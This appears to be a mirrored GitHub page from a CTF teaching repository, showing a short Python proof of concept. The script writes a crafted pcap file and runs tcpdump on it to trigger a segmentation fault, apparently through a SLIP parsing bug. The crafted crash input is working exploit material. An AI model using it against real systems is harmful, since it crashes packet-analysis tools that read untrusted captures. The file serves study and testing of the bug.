mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2025-04-10 12:57:32 +07:00
19 lines
593 B
Python
19 lines
593 B
Python
import os
|
|
|
|
def sigsegv():
|
|
buf = "\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
buf += "\x00\x00\x04\x00\x08\x00\x00\x00\xf6\xb5\xa5X\xf8\xbd\x07\x00'"
|
|
buf += "\x00\x00\x006\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7"
|
|
buf += "\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xca\x00"
|
|
buf += "\x00RT\x00\x125\x02\x08\x00'\xbd\xc8.\x08\x00"
|
|
|
|
with open("slip-bad-direction.pcap", "wb") as f:
|
|
f.write(buf)
|
|
f.close()
|
|
|
|
cmd = 'tcpdump -e -r slip-bad-direction.pcap'
|
|
os.system(cmd)
|
|
|
|
if __name__ == "__main__":
|
|
sigsegv()
|